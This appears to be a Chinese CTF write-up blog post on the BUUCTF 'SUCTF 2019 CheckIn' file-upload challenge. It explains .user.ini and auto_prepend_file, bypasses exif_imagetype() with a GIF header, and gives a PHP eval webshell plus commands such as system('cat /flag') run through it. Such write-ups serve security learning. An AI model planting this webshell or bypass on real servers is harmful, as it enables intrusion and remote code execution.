【CTF】buuctf web (四)——通过配置文件构造PHP后门
知识点
php.ini
- php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。
- PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,.user.ini中设置。
.user.ini
- .user.ini文件
.user.ini
实际上就是一个可以由用户“自定义”的php.ini
,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER
”的设置。 - 它比.htaccess(分布式配置文件)用的更广,不管是
nginx/apache/IIS
,只要是以fastcgi(进程管理器)运行的php都可以用这个方法。 - Php配置项中有两个比较有意思的项
auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。
auto_append_file
类似,只是在文件后面包含。
.htaccess
.htaccess
叫分布式配置文件,它提供了针对目录改变配置的方法——在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。并且子目录中的指令会覆盖更高级目录或者主服务器配置文件中的指令。一般来说,如果你的虚拟主机使用的是Unix或Linux系统,或者任何版本的Apache网络服务器,从理论上讲都是支持.htaccess的。- 目录规则:一般我们将.htaccess文件放置在网站的根目录,控制所在目录及所有子目录,而如果放置在子目录中,会受上级目录中.htaccess文件影响,是不起任何作用的。
- .htaccess可以实现:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
绕过exif_imagetype()
exif_imagetype() 读取一个图像的第一个字节并检查其签名。判断一个图像的类型
文件头检查,几个常见的文件头对应关系:
(1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif,”GIF 89A”
(3) .zip,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfil
也可以直接上传图片,在图片的最后加上一句话木马的内容
[SUCTF 2019]CheckIn
上传一个a.php文件,文件内容为<?php phpinfo();?>
提示非法后缀,将后缀php修改为jpg
提示<?
被过滤了
将内容变为脚本标记格式:<script language=php> phpinfo() </script>
提示没有图片,这里是被php内置函数exif_imagetype(用于获取函数文件类型)
检测到了
那我们上传个图片马<script language=php> @eval($_POST['a']) </script>
试了好多后缀,还是上传失败,总之各种问题
下面是学习大佬的方法
方法一:user.ini文件构成PHP后门
创建.user.ini
文件,前面的GIF
是为了绕过检测;因为后台用exif_imagetype函数检测文件类型,所以我们在文件前加上图片的特征,来绕过检测。
上传
创建图片文件
上传
蚁剑链接http://5df3767e-4da9-41f9-85fc-6629510b2f2b.node4.buuoj.cn:81/uploads/ea6cf191dc7eec7b0e43199e459204e5/index.php
拿到flag~~
方法二:命令执行
上传图片马后,扫描根目录:/index.php?a=var_dump(scandir("/"));
我们可以可以看见一个叫flag的文件
/index.php?a=var_dump(file_get_contents("/flag"));
or/index.php?a=system('cat /flag');
参考链接:https://blog.csdn.net/RABCDXB/article/details/113623796
参考链接:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
[MRCTF2020]你传你
【CTF】buuctf web (四)——通过配置文件构造PHP后门相关推荐
- BUUCTF Web 第二页全部Write ups
更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...
- Buuctf -web wp汇总(一)
Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 持续更新ing~ BuuCTF平台 文章目录 BuuCTF平台 [极客大挑战 2019]EasySQL [极 ...
- Buuctf -web wp汇总(三)
Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...
- CTF之web学习记录 -- 文件包含
文件包含 概述 常见文件包含函数和原理 本地文件包含 远程文件包含 远程包含加问号截断 利用php://filter 利用php://input 序列化和反序列化 Java文件包含 CVE-2018- ...
- web服务器错误配置文件,web服务器http配置文件
web服务器http配置文件 内容精选 换一换 通过调优Nginx的配置文件,可以有效的提高Nginx服务的性能.配置说明如表1所示.调优原则:以压满业务核为前提,用尽量少的中断核,配合配置网卡中断绑 ...
- BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此
BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此 进入环境后得到源码 <?phperror_reporting(0); $text = $_GET["text&quo ...
- BUUCTF WEB [BSidesCF 2020]Had a bad day
BUUCTF WEB [BSidesCF 2020]Had a bad day index.php?category=woofers' 报错 Warning: include(woofers'.php ...
- c语言程序构造数据类型问题,C语言程序设计课程课件之第四章简单构造数据类型.ppt...
C语言程序设计课程课件之第四章简单构造数据类型 第四章 简单构造数据类型 目录 4.1 一维数组 4.2 二维数组 4.3 字符数组 4.4 数组与指针 4.5 数组及指针作为函数参数 4.1 一维数 ...
- Web项目MySQL配置文件运维
Web项目MySQL配置文件运维 root@mysqltest:/etc/mysql/mysql.conf.d# cat mysqld.cnf # # The MySQL database serve ...
最新文章
- IT职场最受欢迎的十大晋升秘决
- intellij无法输入中文
- php java 架构_JAVA和PHP到底谁才是老大?
- 牛客网Wannafly挑战赛15 B车辆安排(模拟)AND C 出队(规律)
- 201521123060 《Java程序设计》第11周学习总结
- SQL死锁知识及解决办法
- 安卓手机鸿蒙系统怎么下载,华为鸿蒙系统来了:安卓系统会成为下一个“塞班”吗?...
- JavaScript 精度问题以及JavaScript 浮点数陷阱及解决方案
- 大数据技术平台主要分为哪几类
- linux重定向文件容加时间,linux – Shell重定向和文件I / O持续时间
- 特殊字符保存到SQL数据库的问题
- 在Vue中如何缓存页面
- DevOps元素周期表——1号元素 Gitlab
- MySQL数据库select语句6大子句(from、where、group by、having、order by 、limit )#经典员工、部门表案例语句练手!
- RSA结合DES解决上下行接口的安全性问题
- GAN原理及简单mnist生成图片
- Mac 安装7z解压工具
- 求生之路2不显示局域网服务器,【求生之路2怎么局域网联机】如何局域网联机_求生之路2局域网联机教程_游戏城...
- 读书笔记 - 智能体技术在城市交通信号控制系统中应用综述2014
- QVM 实操记 - 18.12.28
热门文章
- 利用STM32F103的DAC结合xtr111实现4-25mA输出的数据分析
- python大数_使用python的金融大数定律
- css中background-size属性cover、contain、100%的含义案例详解
- RTD2173 USB-C Type-C/ DP 1.4 to HDMI 2.1 8K设计方案|替代RTD2173芯片|GSV6201可完全替代兼容 RTD2173
- postgreSQL+数组及复合类型=王炸
- NVIDIA GeForce 940MX win10 python3.6 anaconda cudn9.0 cudnn 7.0 tensorflow-gpu 1.12 安装
- 安卓还是鸿蒙,SaaS应用移动化靠谁?
- 深入理解计算机系统bomb炸弹实验
- 202- K7 +C6678学习资料:基于TI DSP TMS320C6678、Xilinx K7 FPGA XC7K325T的高速数据处理核心板
- 浅谈前端性能优化(九)——DNS解析优化
更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...
Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 持续更新ing~ BuuCTF平台 文章目录 BuuCTF平台 [极客大挑战 2019]EasySQL [极 ...
Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...
文件包含 概述 常见文件包含函数和原理 本地文件包含 远程文件包含 远程包含加问号截断 利用php://filter 利用php://input 序列化和反序列化 Java文件包含 CVE-2018- ...
web服务器http配置文件 内容精选 换一换 通过调优Nginx的配置文件,可以有效的提高Nginx服务的性能.配置说明如表1所示.调优原则:以压满业务核为前提,用尽量少的中断核,配合配置网卡中断绑 ...
BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此 进入环境后得到源码 <?phperror_reporting(0); $text = $_GET["text&quo ...
BUUCTF WEB [BSidesCF 2020]Had a bad day index.php?category=woofers' 报错 Warning: include(woofers'.php ...
C语言程序设计课程课件之第四章简单构造数据类型 第四章 简单构造数据类型 目录 4.1 一维数组 4.2 二维数组 4.3 字符数组 4.4 数组与指针 4.5 数组及指针作为函数参数 4.1 一维数 ...
Web项目MySQL配置文件运维 root@mysqltest:/etc/mysql/mysql.conf.d# cat mysqld.cnf # # The MySQL database serve ...